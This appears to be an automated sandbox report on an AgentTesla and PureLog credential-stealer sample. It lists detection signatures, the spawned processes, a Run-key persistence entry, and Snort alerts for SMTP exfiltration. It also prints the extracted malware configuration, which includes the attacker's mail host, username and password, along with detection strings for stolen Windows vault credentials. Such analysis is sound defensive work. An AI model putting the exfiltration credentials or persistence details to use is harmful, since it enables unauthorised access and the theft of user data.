Edit tour

Windows Analysis Report
Doc6078451035.exe

Overview

General Information

Sample name:	Doc6078451035.exe
Analysis ID:	1467974
MD5:	d95051443f4688aaf77b021012ca74f4
SHA1:	88ddc24b253f7b7d47e5032068ca0b60df985db4
SHA256:	9337ebed5a958025c5404c8a77ff7ccf12335be888524df823443dff2dbe3761
Tags:	AgentTeslaexe
Infos:

Detection

AgentTesla, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected PureLog Stealer

.NET source code contains potential unpacker

AI detected suspicious sample

Contains functionality to log keystrokes (.Net Source)

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Outbound SMTP Connections

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Doc6078451035.exe (PID: 6828 cmdline: "C:\Users\user\Desktop\Doc6078451035.exe" MD5: D95051443F4688AAF77B021012CA74F4)

Doc6078451035.exe (PID: 6020 cmdline: "C:\Users\user\Desktop\Doc6078451035.exe" MD5: D95051443F4688AAF77B021012CA74F4)

Hdoyoyt.exe (PID: 6016 cmdline: "C:\Users\user\AppData\Roaming\Hdoyoyt.exe" MD5: D95051443F4688AAF77B021012CA74F4)

Hdoyoyt.exe (PID: 6904 cmdline: "C:\Users\user\AppData\Roaming\Hdoyoyt.exe" MD5: D95051443F4688AAF77B021012CA74F4)

Hdoyoyt.exe (PID: 3336 cmdline: "C:\Users\user\AppData\Roaming\Hdoyoyt.exe" MD5: D95051443F4688AAF77B021012CA74F4)

Hdoyoyt.exe (PID: 2344 cmdline: "C:\Users\user\AppData\Roaming\Hdoyoyt.exe" MD5: D95051443F4688AAF77B021012CA74F4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "162.254.34.31", "Username": "sendxambro@educt.shop", "Password": "ABwuRZS5Mjh5"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.2518748414.0000000003518000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.2518748414.0000000003518000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1965317713.000000000255E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1965317713.000000000255E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1976677869.0000000006240000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000007.00000002.2524754237.0000000004D37000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000008.00000002.2866025908.000000000017D000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.2866025908.000000000017D000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.2872467222.00000000025C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.2872467222.00000000025C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000A.00000002.2871736226.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2871736226.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000A.00000002.2871736226.0000000002B92000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.2872467222.00000000025F4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1966878784.0000000003E67000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000007.00000002.2518748414.000000000346F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000005.00000002.2447296068.0000000003557000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000007.00000002.2524754237.0000000004E27000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000A.00000002.2871736226.0000000002B8C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.2451731100.0000000004D27000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000005.00000002.2451731100.0000000004CAF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000005.00000002.2451731100.0000000004DC7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000005.00000002.2451731100.0000000004CD7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1966878784.0000000003AC9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000005.00000002.2447296068.000000000332E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000005.00000002.2447296068.000000000332E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2447296068.000000000332E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000002.2524754237.0000000004D0F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000007.00000002.2524754237.0000000004D87000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1966878784.0000000004135000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1966878784.0000000004135000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.2872467222.00000000025EC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.2871964064.000000000323B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000002.2518748414.0000000003591000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1965317713.00000000025D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1973327299.0000000005CC0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000004.00000002.2871964064.0000000003211000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2871964064.0000000003211000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.2872467222.00000000025FA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.2451731100.0000000005057000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2451731100.0000000005057000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1965317713.00000000023CE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000A.00000002.2871736226.0000000002B9A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.2871964064.000000000324A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1966878784.0000000003341000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: Doc6078451035.exe PID: 6828	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Doc6078451035.exe PID: 6828	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Doc6078451035.exe PID: 6828	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Doc6078451035.exe PID: 6828	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Doc6078451035.exe PID: 6020	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Doc6078451035.exe PID: 6020	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Hdoyoyt.exe PID: 6016	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Hdoyoyt.exe PID: 6016	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Hdoyoyt.exe PID: 6016	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Hdoyoyt.exe PID: 6016	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Hdoyoyt.exe PID: 3336	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Hdoyoyt.exe PID: 3336	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Hdoyoyt.exe PID: 3336	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Hdoyoyt.exe PID: 3336	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Hdoyoyt.exe PID: 6904	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Hdoyoyt.exe PID: 6904	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Hdoyoyt.exe PID: 2344	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Hdoyoyt.exe PID: 2344	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 58 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.Hdoyoyt.exe.4d27b60.9.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
5.2.Hdoyoyt.exe.4cd7b40.11.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
7.2.Hdoyoyt.exe.4d87b60.11.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
7.2.Hdoyoyt.exe.4d37b40.15.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
7.2.Hdoyoyt.exe.4d0fb20.10.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Doc6078451035.exe.3dc7b60.4.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
7.2.Hdoyoyt.exe.4d0fb20.10.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Doc6078451035.exe.268573c.0.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Doc6078451035.exe.414ad28.16.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Doc6078451035.exe.414ad28.16.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Doc6078451035.exe.414ad28.16.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3167b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x316ed:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31777:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31809:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31873:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x318e5:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3197b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31a0b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
7.2.Hdoyoyt.exe.4d37b40.15.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
5.2.Hdoyoyt.exe.4cd7b40.11.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Doc6078451035.exe.3d77b40.15.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
5.2.Hdoyoyt.exe.35e5738.1.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Doc6078451035.exe.268573c.0.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
5.2.Hdoyoyt.exe.4cafb20.12.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Doc6078451035.exe.3d4fb20.9.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
5.2.Hdoyoyt.exe.506cc28.15.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.Hdoyoyt.exe.506cc28.15.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
5.2.Hdoyoyt.exe.506cc28.15.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3347b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6dc9b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x334ed:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6dd0d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33577:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6dd97:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33609:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6de29:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33673:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6de93:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x336e5:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6df05:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3377b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6df9b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3380b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6e02b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
5.2.Hdoyoyt.exe.4dc7b80.13.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
7.2.Hdoyoyt.exe.364148c.1.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Doc6078451035.exe.3d77b40.15.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
7.2.Hdoyoyt.exe.4e27b80.14.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Doc6078451035.exe.414ad28.16.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Doc6078451035.exe.414ad28.16.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Doc6078451035.exe.414ad28.16.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3347b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6dc9b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x334ed:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6dd0d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33577:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6dd97:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33609:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6de29:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33673:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6de93:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x336e5:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6df05:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3377b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6df9b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3380b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6e02b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
5.2.Hdoyoyt.exe.4cafb20.12.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Doc6078451035.exe.6240000.19.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
7.2.Hdoyoyt.exe.364148c.1.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Doc6078451035.exe.3d4fb20.9.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Doc6078451035.exe.3e67b80.12.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
5.2.Hdoyoyt.exe.506cc28.15.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.Hdoyoyt.exe.506cc28.15.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
5.2.Hdoyoyt.exe.506cc28.15.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3167b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x316ed:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31777:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31809:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31873:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x318e5:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3197b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31a0b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Doc6078451035.exe.3670a40.13.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
5.2.Hdoyoyt.exe.35e5738.1.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Doc6078451035.exe.3899260.14.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Doc6078451035.exe.5cc0000.18.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Doc6078451035.exe.5cc0000.18.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Doc6078451035.exe.3899260.14.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Doc6078451035.exe.3670a40.13.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 38 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\Hdoyoyt.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Doc6078451035.exe, ProcessId: 6828, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Hdoyoyt

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 162.254.34.31, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\Doc6078451035.exe, Initiated: true, ProcessId: 6020, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 63879

Snort Signatures

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.4 - Destination IP: 162.254.34.31

Timestamp:	07/05/24-07:48:28.548117
SID:	2840032
Source Port:	63879
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.4 - Destination IP: 162.254.34.31

Timestamp:	07/05/24-07:49:16.913010
SID:	2840032
Source Port:	63884
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.4 - Destination IP: 162.254.34.31

Timestamp:	07/05/24-07:49:23.960836
SID:	2855542
Source Port:	63886
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Exfil via SMTP - Source IP: 192.168.2.4 - Destination IP: 162.254.34.31

Timestamp:	07/05/24-07:49:23.960836
SID:	2855245
Source Port:	63886
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.4 - Destination IP: 162.254.34.31

Timestamp:	07/05/24-07:48:28.548056
SID:	2030171
Source Port:	63879
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.4 - Destination IP: 162.254.34.31

Timestamp:	07/05/24-07:49:16.913010
SID:	2851779
Source Port:	63884
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.4 - Destination IP: 162.254.34.31

Timestamp:	07/05/24-07:49:23.960836
SID:	2030171
Source Port:	63886
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.4 - Destination IP: 162.254.34.31

Timestamp:	07/05/24-07:48:28.548117
SID:	2855542
Source Port:	63879
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Exfil via SMTP - Source IP: 192.168.2.4 - Destination IP: 162.254.34.31

Timestamp:	07/05/24-07:48:28.548117
SID:	2855245
Source Port:	63879
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.4 - Destination IP: 162.254.34.31

Timestamp:	07/05/24-07:49:16.913010
SID:	2855542
Source Port:	63884
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Exfil via SMTP - Source IP: 192.168.2.4 - Destination IP: 162.254.34.31

Timestamp:	07/05/24-07:49:16.913010
SID:	2855245
Source Port:	63884
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.4 - Destination IP: 162.254.34.31

Timestamp:	07/05/24-07:49:16.912805
SID:	2030171
Source Port:	63884
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.4 - Destination IP: 162.254.34.31

Timestamp:	07/05/24-07:49:23.960836
SID:	2840032
Source Port:	63886
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.4 - Destination IP: 162.254.34.31

Timestamp:	07/05/24-07:48:28.548117
SID:	2851779
Source Port:	63879
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.4 - Destination IP: 162.254.34.31

Timestamp:	07/05/24-07:49:23.960836
SID:	2851779
Source Port:	63886
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Doc6078451035.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe

Avira: detection malicious, Label: HEUR/AGEN.1327361

Found malware configuration

Source: 5.2.Hdoyoyt.exe.506cc28.15.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "162.254.34.31", "Username": "sendxambro@educt.shop", "Password": "ABwuRZS5Mjh5"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Virustotal: Detection: 47%			Perma Link

Multi AV Scanner detection for submitted file

Source: Doc6078451035.exe	ReversingLabs: Detection: 34%
Source: Doc6078451035.exe	Virustotal: Detection: 47%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Doc6078451035.exe

Joe Sandbox ML: detected

